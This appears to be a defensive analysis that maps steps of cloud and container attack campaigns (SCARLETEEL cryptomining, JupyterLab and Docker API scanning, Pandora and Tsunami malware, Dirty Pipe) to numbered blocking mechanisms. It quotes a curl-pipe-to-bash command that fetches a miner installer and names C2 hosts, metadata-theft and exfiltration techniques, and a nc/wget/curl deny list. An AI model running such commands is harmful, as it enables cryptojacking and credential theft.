• Attacker executes a script (setupc3poolminer.sh) designed to deploy cryptominers. (Cited from: "With the admin access, the attacker created 42 instances... by running the following script:", "Analysis of the script setupc3poolminer.sh")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies if the script is executed within a container and wasn't part of the original image.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the script is executed on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism applies if the script is executed from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism applies if the script name/path is denied.
• The script installs necessary dependencies like bash, curl, docker, wget, and openssh-server using package managers (yum, apt, apk). (Cited from: "yum install -y bash curl;yum install -y docker...", "apt update --fix-missing;apt install -y curl...", "apk update;apk add bash...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism could block the execution of package managers (yum, apt, apk) or docker if they are considered new/untrusted binaries within a container context.
  • BR-88: Process Path Exec Allow - This mechanism could block the execution of package managers or docker if they reside in or are run from disallowed paths (though standard paths like /usr/bin are usually allowed).
  • BR-90: Process Exec Deny - This mechanism could block execution if these package managers or docker are explicitly denied.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable if the docker command attempts to interact directly with the container runtime socket (e.g., containerd.sock) and the process lineage doesn't originate from the trusted kubelet service (in a K8s context). It prevents unauthorized container operations.
  • BR-57: Cluster Drift Protection - This mechanism is applicable if the use of docker commands leads to the deployment of new pods/containers outside the authorized Kubernetes control API flow. It prevents out-of-band container creation within the cluster.
• The script downloads and executes another script (setupc3poolminer.sh) from a C2 source (initially c3pool.org, later observed from ngrok-free[.]app) to set up the XMRig miner. (Cited from: "curl -Lk http://download.c3pool.org/xmrigsetup/raw/master/setupc3poolminer.sh | LCALL=enUS.UTF-8 bash -s ...", "Downloaded from: c9b9-2001-9e8-8aa-f500-ce88-25db-3ce0-e7da[.]ngrok-free[.]app/setupc3pool_miner.sh")
  • BR-80: Tainted File Download Protection - This mechanism is specifically designed to detect and block the pattern of downloading executable/interpretable code (via curl/wget) and piping it directly to an interpreter (bash).
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism detects and generates alerts for patterns like curl URL | sh, providing visibility into this fileless execution technique.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of curl and bash if they are untrusted binaries.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of curl and bash if run from disallowed paths.
  • BR-90: Process Exec Deny - This mechanism applies if curl or bash are explicitly denied.
  • BR-87: Process Socket Deny - This mechanism applies because curl needs network access to download the script. If curl is denied socket access, the download fails.
• The setup script removes previous miners, kills existing xmrig processes, and downloads an 'advanced version' of the XMRig miner. (Cited from: "it removes previous c3pool miner and kills possible xmrig processes, before downloading an “advanced version” of xmrig:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of kill or other tools used for removal/process termination if they are untrusted.
  • BR-88: Process Path Exec Allow - This mechanism applies if tools like kill are run from disallowed paths.
  • BR-90: Process Exec Deny - This mechanism applies if tools like kill are explicitly denied.
  • BR-87: Process Socket Deny - This mechanism applies to the download step if the tool used (e.g., curl, wget) is denied network access.
• The miner binary is saved as containerd in /root/.configure/ as a defense evasion technique. (Cited from: "As shown above, the miner is extracted in /root/.configure/ . The name of the miner binary is containerd...")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /root/.configure (or /root) is designated as a critical, write-protected directory. The attempt to save the miner binary would be blocked.
• The script launches the Monero miner (containerd) configured with the attacker's wallet address (43Lfq...VaALj3U), running it in the background using systemd service names for evasion. (Cited from: "It runs the miner with the wallet address belonging to SCARLETEEL:", "The Monero miner is executed in background using the names for containered and the systemd service as a defense evasion technique:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the miner binary (containerd), regardless of its name, if it's new/untrusted.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the miner is run on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism applies if the miner binary is executed from a path not on the allowlist (e.g., /root/.configure/containerd).
  • BR-90: Process Exec Deny - This mechanism applies if the miner's path or name (e.g., containerd in /root/.configure) is added to the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable because the cryptominer needs to connect to a mining pool server. If the miner process (containerd) is denied socket access, it cannot mine effectively.
• Using the admin access, the attacker launches a large number (42) of high-resource EC2 instances (c5.metal/r5a.4xlarge) running the mining script. (Cited from: "With the admin access, the attacker created 42 instances of c5.metal/r5a.4xlarge in the compromised account by running the following script:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool/script making the AWS API calls to launch instances.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool/script making the API calls.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool/script making the API calls.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connection for the API calls if the executing process is denied socket access.
• After initial detection and limitation of the compromised admin account, the attacker attempts to use other created/compromised accounts to steal secrets from AWS Secrets Manager or update SSH keys to continue launching instances, but fails due to lack of privileges. (Cited from: "Once the attacker was caught and access to the admin account was limited, they started to use the other new accounts created or the account compromised to achieve the same purposes by stealing secrets from Secret Manager or updating SSH keys to run new instances. The attacker failed to proceed due to lack of privileges.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of tools (e.g., AWS CLI) used to access Secrets Manager or manage SSH keys.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of these tools.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of these tools.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking network access for API calls.
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism is applicable to the attempt to update SSH keys. By enforcing ephemeral certificate-based auth and least privilege for SSH, it could prevent the attacker from using compromised credentials to modify SSH keys for unauthorized access or persistence.

​

F4: Kubernetes exploitation using peirates and tool deployment leveraging external S3-compatible storage.

• Attacker gains initial access to a container within a Kubernetes cluster (as in F1). (Cited from: "After exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster...")
• Attacker deploys and uses peirates, a Kubernetes penetration testing tool, from within the compromised container. (Cited from: "In particular, they also leveraged peirates, a tool to further exploit Kubernetes.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of the peirates binary if it wasn't part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of peirates if run from a path not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of peirates if its name or path is on the deny list.
• Attacker uses peirates to interact with the Kubernetes API, specifically calling get secrets, get pods, and get namespaces APIs to enumerate resources and potentially find further footholds or sensitive information. (Cited from: "The “get secrets”, “get pods” and “get namespaces” APIs called in the screenshot below are part of the execution of peirates.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of peirates itself.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of peirates.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of peirates.
  • BR-87: Process Socket Deny - This mechanism is applicable because peirates needs network access to communicate with the Kubernetes API server. Denying socket access to the peirates process blocks this interaction.
  • BR-57: Cluster Drift Protection - This mechanism is less direct for read operations like get secrets/pods/namespaces. Its primary focus is preventing unauthorized deployment of new pods outside the K8s API. However, detecting anomalous API interactions (even reads) could be part of a broader K8s security posture that complements BR-57.
• Attacker installs the AWS CLI on the compromised container. (Cited from: "Next, they installed AWS CLI binary...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies, blocking AWS CLI execution if it's a new binary.
  • BR-88: Process Path Exec Allow - This mechanism applies, blocking execution if run from a disallowed path.
  • BR-90: Process Exec Deny - This mechanism applies, blocking execution if AWS CLI is denied.
• Attacker configures the AWS CLI using the configure command, but points it towards a Russian S3-compatible object storage endpoint (hb[.]bizmrg[.]com, which redirects to mcs[.]mail[.]ru/storage) instead of the default AWS endpoints. (Cited from: "The attacker was observed using the AWS client to connect to Russian systems which are compatible with the S3 protocol. The command below shows that they configured the keys for the Russian S3 environment with the “configure” command... By using the “--endpoint-url” option, they did not send the API requests to the default AWS services endpoints, but instead to hb[.]bizmrg[.]com...")
• Attacker uses the configured AWS CLI to access buckets on the external S3-compatible storage, likely to download additional tools or exfiltrate data without logging to the victim's CloudTrail. (Cited from: "...and then attempted to access their buckets.", "This technique allows the attacker to use the AWS client to download their tools and exfiltrate data, which may not raise suspicion.", "These requests were not logged in the victim’s CloudTrail...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the AWS CLI.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the AWS CLI.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the AWS CLI.
  • BR-87: Process Socket Deny - This mechanism is applicable because the AWS CLI needs to make network connections to the external S3 endpoint. Denying socket access to the aws process would block this communication.

​

F5: Deployment of Mirai-based DDoS malware (Pandora).

• Attacker gains access to a compute resource (e.g., container) within the victim's environment. (Implied by subsequent actions, consistent with F1)
• Attacker uses the AWS CLI configured with an external endpoint (as in F4) or another download method. (Cited from: "In the same attack where the actor used the AWS CLI pointing to their cloud environment...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the download tool.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the download tool.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the download tool.
  • BR-87: Process Socket Deny - This mechanism applies by blocking network access for the download tool if denied.
• Attacker downloads the Pandora malware, identified as part of the Mirai Botnet. (Cited from: "...they also downloaded and executed Pandora, a malware belonging to the Mirai Botnet.")
• Attacker executes the downloaded Pandora malware on the compromised resource. (Cited from: "...they also downloaded and executed Pandora...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of the Pandora malware binary if it was not part of the original container image or host setup.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if Pandora is executed on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of Pandora if it's run from a filesystem path not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of Pandora if its name or path is on the deny list.
• The compromised machine becomes part of a botnet used for DDoS-as-a-Service campaigns. (Cited from: "This attack is likely part of a DDoS-as-a-Service campaign... the machine infected by the Pandora malware would become a node of the botnet used by the attacker to target the victim chosen by some client.")
  • BR-87: Process Socket Deny - This mechanism is applicable because the Pandora malware needs to communicate with its C2 server and potentially participate in DDoS attacks, both requiring network socket operations. Denying socket access to the Pandora process would prevent it from functioning as a botnet node.

​

F6: Adaptation for AWS Fargate credential theft.

• Attacker gains execution within a container hosted on AWS Fargate. (Cited from: "AWS Fargate, a more sophisticated environment to breach, has also become a target as their new attack tools allow them to operate within that environment.", "Scripts are aware of being in a Fargate-hosted container...")
• Attacker runs a credential stealing script (e.g., .a.i.sh or similar variant). (Cited from: "Scripts are aware of being in a Fargate-hosted container and can collect credentials.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies, blocking script execution if it's new to the Fargate task's container image.
  • BR-88: Process Path Exec Allow - This mechanism applies, blocking script execution if run from a disallowed path within the container.
  • BR-90: Process Exec Deny - This mechanism applies, blocking execution if the script name/path is denied.
• The script specifically attempts to query the Fargate task metadata endpoint at 169[.]254[.]170[.]2 to retrieve credentials. (Cited from: "Various metadata endpoints are used to accomplish this task, but It also looks for another IP Address: 169[.]254[.]170[.]2. This IP Address is used by tasks which include AWS Fargate allowing this script to run in containers hosted there as well.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is conceptually applicable. While technically targeting the EC2 IMDS (169.254.169.254), its purpose is to protect cloud metadata services. If extended or configured to cover the Fargate endpoint (169.254.170.2), it would directly apply by controlling access.
  • BR-87: Process Socket Deny - This mechanism is applicable because querying the Fargate metadata endpoint requires network socket operations. Denying socket access to the script process prevents it from reaching the endpoint.
• The script uses stealthy methods like shell built-ins (e.g., < /dev/tcp/...) to make the request to the metadata endpoint to evade detection based on common tools like curl or wget. (Cited from: "In order to retrieve those credentials the script uses this bash function, which utilizes shell built-ins, with the aim of evading detection mechanisms based on more common tools, such as curl and wget.")
  • BR-87: Process Socket Deny - This mechanism is applicable because even if shell built-ins are used, they still initiate socket operations at the system level. Denying socket access to the shell process itself would block these attempts.
• If successful, the script proceeds to exfiltrate the obtained Fargate task role credentials using methods described in F1 (e.g., base64 encoding, sending to C2 via nc/curl, uploading to paste sites). (Cited from: "After writing all the retrieved keys and credentials into random filenames, the script calls sendawsdata() to exfiltrate them:")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the script or tools like nc/curl from making outbound network connections.
  • BR-90: Process Exec Deny - This mechanism applies if nc or curl execution is denied.
  • BR-88: Process Path Exec Allow - This mechanism applies if nc or curl are executed from disallowed paths.

F1: Scanning for exposed JupyterLab instances using the shanidmk/jltest2 container image.

• Attacker launches the shanidmk/jltest2 container. (Cited from: "The first attack on our honeypot was launched in early June using this container image.")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because it prevents unauthorized deployment of new pods/containers outside the Kubernetes control API. If the attacker attempts to launch this container via a compromised Docker API directly, bypassing Kubernetes orchestration, this mechanism would detect and potentially block the deployment.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it prevents processes whose lineage does not originate from the trusted kubelet service from accessing the container runtime socket (e.g., containerd.sock). If the attacker tries to launch the container by directly interacting with the Docker socket after gaining initial access, this mechanism would block that interaction.
  • BR-47: Container Capability Control - This mechanism is applicable because it enforces specific, limited capabilities for containers, overriding defaults. Even if the container launch is permitted, this mechanism can prevent it from running with unnecessary or dangerous privileges (like --privileged) often sought by attackers for subsequent actions.
• Inside the container, a run.sh script executes, first downloading necessary packages/utilities. (Cited from: "one layer includes a run.sh shell script designed to initiate when the container starts up.", "the process begins with the downloading of some packages to secure the necessary utilities for the environments.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any new executable binaries or scripts that were not part of the original container image at load time. If the downloaded packages include executables or scripts needed for the attack, this mechanism would block their subsequent execution.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of processes based on a deny list of path suffixes (defaulting to /nc, /wget, /curl). If the script uses wget or curl to download packages, this mechanism would block the execution of these tools.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because it monitors specific processes like wget or curl and blocks the subsequent execution of any compiled or interpreted code downloaded by them. If the downloaded packages are fetched via wget/curl and contain executable code, this mechanism would block that code execution.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specified processes (like wget or curl) from initiating network connections. If the policy denies network access for the download tools, the download itself would fail.
• The script builds the ZGrab application layer scanner and moves it to /bin. (Cited from: "Following this, the ZGrab application is built and relocated to the /bin library.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of binaries not present in the original image. This would block the execution of the compiler (e.g., go build) used to build ZGrab, and subsequently block the execution of the newly built ZGrab binary itself.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to allowed paths. If the compiler or the resulting ZGrab binary resides in or is executed from a path not on the allow list (e.g., a temporary build directory), this mechanism would block the execution.
• The script uses masscan to scan IP addresses and pipes the results to ZGrab. (Cited from: "Subsequently, the masscan tool scans and pipes the IP to be utilized by ZGrab")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of masscan and ZGrab if they were not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of masscan and ZGrab if they are run from a filesystem path not included in the allow list.
  • BR-90: Process Exec Deny - This mechanism is applicable because it could block the execution of masscan or ZGrab if their paths match the configured deny list suffixes.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the masscan process from initiating outgoing network connections required for scanning, if masscan is on the deny list for socket operations.
• ZGrab attempts banner grabbing to identify exposed JupyterLab instances running at http://[IP]:8888/lab. (Cited from: "assessing whether there is an exposed Jupyter Lab instance operating at http://CurrentlyfoundIP_Address:8888/lab.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of ZGrab if it wasn't in the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of ZGrab if run from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable because it could block ZGrab execution if its path matches the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent ZGrab from making outgoing network connections for banner grabbing if ZGrab is denied socket access.
• Identified IPs of exposed JupyterLab instances are stored in JupyterLab.txt. (Cited from: "The resulting information is organized and stored in the JupyterLab.txt file")
• The list of IPs (JupyterLab.txt) is exfiltrated to the attacker's C2 server using curl. (Cited from: "which is then transmitted to the attacker’s C2 server through a specific command.", "Figure 3 presents the curl command used to send the IPs of the exposed Jupyter Lab instances to the C2 server")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of curl if it wasn't part of the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks curl execution if run from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of any process whose path ends in /curl by default.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent curl from initiating the outgoing network connection needed for exfiltration if curl is denied socket access.
• The script enters a loop, requesting IP ranges (/8 CIDR blocks) from the C2 server (potentially concealed via NGROK using the HTTP_SOURCE environment variable) for further scanning. (Cited from: "The next step involves the activation of a loop set to run whenever the C2 server returns an IP range for scanning.", "which subsequently scans a CIDR range of /8, equating to approximately 16.7 million IP addresses.", "Through the use of NGROK, the attacker is able to conceal the infrastructure")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it would block the execution of the tool (e.g., curl) used to contact the C2 server if it's not in the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the C2 communication tool if run from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable because it would block curl (if used) by default.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process making the C2 request from initiating network connections if it's on the socket deny list.

​

F2: Scanning for and exploiting exposed Docker Daemon APIs using the shanidmk/sysapp container image to deploy cryptominers and potentially steal AWS credentials.

• Attacker launches the shanidmk/sysapp container. (Cited from: "This container image is composed of six layers... contains the run.sh shell script, which is programmed to initiate as soon as the container starts.")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because it prevents unauthorized deployment of new pods/containers outside the Kubernetes control API. Launching this container via a direct, exposed Docker API bypasses Kubernetes control.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it prevents non-kubelet processes from accessing the container runtime socket. If the attacker interacts directly with the Docker socket, this blocks it.
  • BR-47: Container Capability Control - This mechanism is applicable because it enforces least privilege by restricting container capabilities, preventing the launch of overly privileged containers needed for subsequent steps.
• The run.sh script selects a random initial IP octet and a Docker port (2375, 2376, 2377, 4244, or 4243). (Cited from: "a random initial octet of the IP address is chosen. It is then passed to the function pwn_d along with the random range, a potentially exposed Docker Daemon port, and a rate (2375, 2376, 2377, 4244, 4243).")
• The script executes the pwn_d function to scan for misconfigured Docker daemons (v1.16). (Cited from: "The pwn_d function, based on the provided arguments, scans for misconfigured docker daemons v1.16.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the pwn_d script/function if it wasn't part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the script execution if run from a non-allowed path.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the script/process performing the scan from making outgoing network connections if it's on the deny list.
• The script attempts to gather target environment information using docker info remotely via the exposed API. (Cited from: "The first docker info seeks to gather information about the target environment")
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it blocks processes not originating from kubelet from interacting with the container runtime socket, preventing the remote docker info command.
  • BR-57: Cluster Drift Protection - This mechanism is applicable because interacting with the Docker API outside the K8s control plane constitutes drift.
• The script attempts to run a privileged Alpine container (docker run) via the exposed API, mounting the host filesystem (/), using the host network, and executing an echo command with a base64 encoded script. (Cited from: "the second is a remote command to the docker daemon, commanding it to run a privileged alpine container. This container mounts the host filesystem, utilizes the host network, and executes an ‘echo’ command of a base64 script.")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because deploying a container via a direct API call bypasses the Kubernetes control plane.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it blocks non-kubelet processes from interacting with the runtime socket to launch the container.
  • BR-47: Container Capability Control - This mechanism is applicable because it enforces least privilege and can prevent the container from running as privileged (--privileged), using the host network (--net=host), or gaining capabilities needed for mounting host paths.
  • BR-66: Host FS Mount Control - This mechanism is applicable because it enforces an allow list for host filesystem mounts within containers. Mounting the root filesystem (/) would likely be denied by policy.
• A second persistent (--restart=always) privileged container is run via the exposed API, using the host network. (Cited from: "the attacker persistently runs a privileged container that restarts, utilizes the host network")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because deploying a container via a direct API call bypasses the Kubernetes control plane.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it blocks non-kubelet processes from interacting with the runtime socket to launch the container.
  • BR-47: Container Capability Control - This mechanism is applicable because it can prevent the container from running as privileged or using the host network.
• This second container downloads ELF files x.noback and x.back (suspected cryptominer backups or Tsunami malware). (Cited from: "downloads the ELF files x.noback and x.back. These binaries were unavailable during our investigation; thus, we speculate that these could either be backup cryptominers or the Tsunami malware")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of these downloaded ELF files as they were not part of the original container image.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if wget or curl is used for the download, the subsequent execution of the downloaded ELF files will be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because it would block the execution of the downloader tool (wget/curl) if used.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it would block the execution of the downloader tool if run from a non-allowed path.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the download process by blocking network connections if the downloader tool is on the deny list.
• The container retrieves and executes setupc3poolminer.sh to deploy a cryptominer. (Cited from: "In addition, the script retrieves the setupc3poolminer.sh script, which is specifically designed to deploy a cryptominer.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the setupc3poolminer.sh script as it was downloaded/retrieved after the container started.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the script execution if it occurs from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable because it could block the script execution if its name/path matches the deny list.
• The container downloads aws.sh.txt, suspected to be a script for scanning and stealing AWS keys/secrets from the environment. (Cited from: "Finally, the script is configured to download aws.sh.txt. We strongly suspect that this script is designed to systematically scan the environment for AWS keys and secrets, thereby enabling the attacker to steal them.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the downloader tool if not in the original image, and later blocks the execution of aws.sh.txt itself.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if wget/curl downloads the script, its subsequent execution is blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the downloader (wget/curl) by default.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the downloader if run from a non-allowed path.
  • BR-87: Process Socket Deny - This mechanism is applicable because it blocks the network connection needed for the download if the downloader process is denied.
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable later when the aws.sh.txt script attempts to access the AWS Instance Metadata Service (IMDS) to steal credentials. It intercepts requests to IMDS and blocks unauthorized access, preventing credential theft.

​

F3: Scanning for exposed Docker Daemon APIs using the shanidmk/blob container image, deploying Tsunami malware, and exfiltrating discovered Docker image information.

• Attacker launches the shanidmk/blob container. (Cited from: "This container image is an updated version of sysapp... intended to find exposed Docker Daemon instances.", "The remaining layer holds the shell script docker_entrypoint.sh, which is programmed to execute when the container launches.")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because launching containers via direct Docker API access bypasses Kubernetes control.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it prevents non-kubelet processes from accessing the Docker socket.
  • BR-47: Container Capability Control - This mechanism is applicable because it restricts container capabilities, preventing potentially privileged operations needed by the malware.
• The docker_entrypoint.sh script installs necessary packages/dependencies. (Cited from: "the attacker initiates the process by installing certain packages or dependencies to facilitate the attack.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of package managers (like apt, apk) or any newly installed executables if they weren't part of the original image layers.
• The script executes ELF systems identified as Tsunami malware. (Cited from: "Subsequently, the ELF systems (MD5= 87c8423e0815d6467656093bff9aa193), classified as Tsunami malware by VirusTotal, are executed.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the Tsunami malware ELF files as they were not present in the initial image layers loaded at runtime (or were added in layers after the manifest was created).
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the malware execution if it occurs from a path not on the allow list.
• The script starts the TOR service to obscure network communication. (Cited from: "Following this, the attacker launches the TOR service to obscure network communication.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the TOR service binary if it wasn't part of the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks TOR execution if run from a non-allowed path.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the TOR process from establishing any network connections if TOR is on the deny list for socket operations.
• The script determines an appropriate masscan rate based on available memory (/proc/meminfo). (Cited from: "The attacker then conducts a rate scan test by checking /proc/meminfo... Based on this information and subsequent adjustments, the attacker determines the scan rate of masscan.")
• The script enters a loop calling the dAPIpwn function. (Cited from: "Next, a loop invokes the primary function dAPIpwn (Docker API pwn).")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the dAPIpwn script/function if it wasn't part of the original container image.
• The dAPIpwn function uses anondns.net (via the silentbob subdomain) to mask C2 server communication. (Cited from: "The attacker employs anondns.net to mask his C2 server... The attacker has created a subdomain in the anondns domain named silentbob")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process performing the C2 communication from making network connections if it's on the deny list.
• The function uses proxychains3 to route TCP connections through a proxy. (Cited from: "It uses the proxychains3 application, which is designed to force any TCP connection made by any given TCP client to follow through a proxy (or proxy chain).")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of proxychains3 if it wasn't part of the original image.
• Masscan is used (via proxychains) to scan large IP ranges (/8) for exposed Docker APIs. (Cited from: "Masscan then scans a specified range of approximately 16.7 million IP addresses in search of exposed Docker APIs.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks masscan execution if not in the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks masscan execution if run from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism is applicable because it could block masscan execution if its path matches the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent masscan from making outgoing scan connections if it's denied socket access.
• For each discovered exposed Docker API, the script lists the images available on that host (docker images). (Cited from: "For each target obtained, the function lists the images on the host with exposed Docker API.")
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it blocks non-kubelet processes from interacting with the Docker socket to run docker images.
  • BR-57: Cluster Drift Protection - This mechanism is applicable because interacting with the Docker API outside the K8s control plane constitutes drift.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of the docker client binary used to run docker images if it wasn't part of the original container image.
• The list of Docker images is sent back to the attacker's C2 server. (Cited from: "The output is then sent back to the C2 server.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process handling the C2 communication from making network connections if it's on the deny list.

​

F4: Manual scanning activity observed on a compromised third-party server, likely related to the same campaign for testing purposes.

• Attacker gains access to an exposed JupyterLab server (method not specified, but exploitation is implied). (Cited from: "we turned to Shodan to help us identify 51 servers with exposed JupyterLab instances in the wild. All of these exposed instances had been actively exploited or had recently suffered exploitation attempts by an attacker.")
• Attacker manually executes masscan on the compromised server to scan for exposed Docker APIs. (Cited from: "We discovered a live manual attack on one of the servers that employed masscan to scan for exposed Docker APIs.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the JupyterLab server is running in a container and masscan was downloaded/added after the container started. It blocks the execution of binaries not in the original image.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if JupyterLab is running directly on the host. It blocks the execution of code (masscan) not installed via trusted package managers after boot.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks masscan execution if run from a directory not on the allow list (e.g., /tmp).
  • BR-90: Process Exec Deny - This mechanism is applicable because it could block masscan execution if its path matches the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent masscan from making outgoing network connections for scanning if masscan is denied socket access.
• The manual scan targeted a specific range (scan range 124 observed). (Cited from: "The scan range was set to 124")
• Simultaneously or subsequently, the attacker queried their C2 server (http[:]//silentbob[.]anondns[.]com) which returned a response ('124') matching the scan range, suggesting active testing or coordination. (Cited from: "when we queried the attacker’s server (http[:]//silentbob[.]anondns[.]com), the response was a number strikingly similar, further supporting our suspicion that this is related to our campaign. To us, it appeared as if the attacker was conducting some tests.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process making the C2 query (e.g., curl) from initiating network connections if that process is denied socket access.
  • BR-90: Process Exec Deny - This mechanism is applicable because it would block curl by default if used for the query.

F1: An attacker leverages CVE-2022-0847 (Dirty Pipe) from within a compromised container to modify files in a shared, read-only base image layer, affecting other current and future containers using the same image on the host.

• Attacker gains initial access to execute code within a single container running on the target host. (Cited from: "To exploit this issue, attackers must have access to a single container on the host.")
  • BR-47: Container Capability Control - This mechanism is applicable because it allows restricting capabilities granted to containers. If the initial access vector or subsequent exploit execution relies on specific Linux capabilities that are removed by this policy, the attack could be hindered or blocked.
